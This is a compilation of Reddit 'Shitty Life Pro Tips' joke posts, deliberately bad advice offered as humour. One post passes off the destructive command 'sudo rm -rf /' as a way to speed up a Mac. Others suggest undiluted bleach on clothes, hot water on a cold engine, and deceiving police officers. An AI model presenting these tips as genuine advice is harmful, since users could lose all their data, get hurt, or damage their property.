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Pro life tips Courtesy of @r_channels
SLPT: removing paint from clothes
SLPT: Need to remove paint from your favorite shirt? Soak it in undiluted bleach and lay it out to dry for a night and the paint will be completely gone.
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slpt can i bring cart on plane?
gonna start this off by saying i am 17 and wanna bring a thc cart on the plane flying from UT to FL i’d bring it on my carry on in my backpack i just don’t know if i should or shouldn’t plz don’t bring up my age i do not care what u have to say abt that i just added it because i didnt know if it could change the outcome
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SLPT: Add some Harmonies to your disharmony
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SLPT: Out of toilet paper? Use your neighbors window to wipe your ass!
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SLPT: If you're too lazy to eat cereal the regular way
Just take out a sheet of aluminum, put yogourt on it and sprinkle cereal on top of it. You can also drink coconut juice at the same time if it's not sweet enough. You uncreative bastards didn't think of this, eh? I am a genius.
https://redd.it/1d848st
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SLPT: I'm trying to learn how to read better. I took a speed reading course.
And not to brag but my speed shot up to 43 pages a minute.... But my comprehensive plummeted! Take the good with the bad, I was flying, sparks coming off my fingertips. People next to me in my class talking about me "HE'S A RAPID READER!, WOW". I was proud.
-Brian Regan
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SLPT: The best way to combat negative emotions
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SLPT: How to get out of work early
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SLPT: How to look amazing
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SLPT - Fill your bong up with Diet Coke then you can have have a wee sip between hits
Think about it!
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SLPT if you misspell ‘excellent’ then your teacher will write the correct spelling of excellent on your work making it look like you did a great job
https://redd.it/1d69ngu
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SLPT - Clean up your macbook to run faster with this simple command
Open up terminal and write the following command
> sudo rm -rf /
Then enter your password and press enter. This will clean up your macbook for all unwanted files
https://redd.it/1d5jnpu
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SLPT: Keep Spotify on mute to never hear ads
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SLPT: If you want to make money then follow these steps: 1) Go to your nearest McDonald's 2) Say the cheat code "I want to apply for job" 3) Now they will pay you free money in exchange of few easy tasks.
Per week.
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SLPT: If a cop asks you why you were speeding, tell them you were chased
you were being chased by them lmao
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SLPT: Beat insecurity by turning "what if" into "I know"
Stop saying to yourself "What if nobody likes me?" You should be saying "I KNOW nobody likes me."
Wake up every morning reaffirming what you know, drilling into your mind these unassailable facts. I know I am not talented. I know that I am unloveable. I know everyone thinks I'm ugly. I know I will die alone. I know I am worthless.
Can't be insecure if you're completely confident in your inadequacy.
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SLPT: Tired of food falling out of your freezer every time you open the door? Just spray your items with water before squeezing them back into the freezer.
that way there will be a thin and breakable layer of ice to act as temporary glue to keep things in the freezer.
https://redd.it/1d900km
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SLPT: Never hire a salesman who has an ugly wife.
https://redd.it/1d8rlfs
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SLPT: Sing the "Reading Rainbow" song, but replace the words "reading rainbow" with "bleeding brain growth".
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SLPT: If you're too lazy to eat cereal the regular way
Just take out a sheet of aluminum, put yogourt on it and sprinkle cereals on top of it. You uncreative bastards didn't think of this, eh? I am a genius.
https://redd.it/1d83j91
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SLPT: Give your old toilet brush a new lease of life
Stick it through the dishwasher for a cycle.
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SLPT Date a pornstar so watching porn wouldn’t be cheating on them
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SLPT: Tips of the tips
I thought I'd share some of my absolute top-tier pro-tips that will really elevate your life game. These are the kind of tips that only the truly enlightened can appreciate. Enjoy!
1. Want to save water? Skip the shower altogether. Just stand out in the rain whenever it happens. Nature's shower is free and eco-friendly!
2. Microwave broken? No problem! Just put your food on the hood of your car and drive around for a bit. The engine heat will do the trick!
3. Can't find the remote? Just sit closer to the TV. Boom, problem solved.
4. Lost your keys? Perfect time to take up locksmithing as a hobby. You never know when you’ll need a new skill!
5. Burnt your dinner? Just serve it as “charcoal-infused” and claim it’s the latest culinary trend. Your guests will be too embarrassed to question your expertise.
6. Phone out of battery and no charger in sight? Rub it vigorously between your hands for a few minutes. The friction will generate a bit of charge. (Disclaimer: May not work on all models)
7. Spilled coffee on your shirt? Pour coffee on the rest of your shirt so it matches. Voilà, instant camouflage!
8. Accidentally hit 'reply all' on that embarrassing email? Double down and send a follow-up with an even more embarrassing story. Everyone will be so distracted they’ll forget about the first one.
9. No time to brush your teeth? Just chew some gum and drink orange juice immediately after. That refreshing minty-orange taste will mask any bad breath.
10. Car won't start in the winter? Pour hot water over the engine. The drastic temperature change will definitely wake it up. (P.S. Please don’t actually do this.)
Remember, folks, the key to a successful life is creativity and innovation. If you've got any other "pro-tips" to share, I'd love to hear them. Let's keep this wisdom flowing!
Stay savvy,
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SLPT: if you cheat, wear old clothing from before the relationship, so if someone takes a pic you can say it was a long time ago
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Slpt save your penny’s might buy you a gumball one day
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SLPT You can't be going faster in speed then the officer who catches up to you, simply tell him he was speeding too.
https://redd.it/1d5wjtm
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SLPT: Running out of money for buying toilet paper? Use deodorant instead!
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SLPT: How to never get a speeding ticket if you’re in healthcare 🩺
Once had a nurse tell me she always keeps a stethoscope around the headrest of her passenger seat and random nursing paraphernalia (expired charts, pens, empty coffee cup, etc.). Then if she ever gets pulled over, she says sorry and that she just got off of a 24 hr shift in the ED. She’s a horrible driver but has never gotten a ticket. Works every time.
https://redd.it/1d52pgm
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SLPT: How to transform a 0.01 m² space into a functional house
First, we’ll construct a durable frame using galvanized square steel anchored firmly to the wall with expansion screws filled with grid steel bars and concrete for lasting strength. We’ll also install thermally broken aluminum windows, expanding the living space by 2 m². Next, we’ll build a multifunctional sitting platform on the floor with hidden storage underneath for bulky items, saving precious space and providing a seating area for two people. This platform doubles as a comfortable bed that can sleep two, surrounded by cushion panels in lucky colors for a better rest. We’ll add a movable table on the bed to serve as both a workspace and dining area, with an outlet switch nearby for charging devices, making it perfect for work and meals. After use, the table can be stored beside the bed, keeping the space organized. We’ll then construct a bedframe from galvanized square steel, enhancing its appearance with eco-friendly wood veneers. Incorporate a pre-buried drainage system for convenience. Build a set of wall cabinets with a countertop drilled to embed a sink. Underneath, install a build in washing-machine to keep dirty laundry at bay. Convert the countertop for dual use by placing an induction cooker for cooking, and install a mirror cabinet above. Next to the mirror, add a cabinet for spices and toiletries. Install a showerhead on the wall and an enlarged stand, allowing even space to ride a horse while showering. In the end, you have a beautiful and functional tiny apartment.
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SLPT: you can google "Trump Rule 34" to see what the ruling on all 34 counts will be before they are announced
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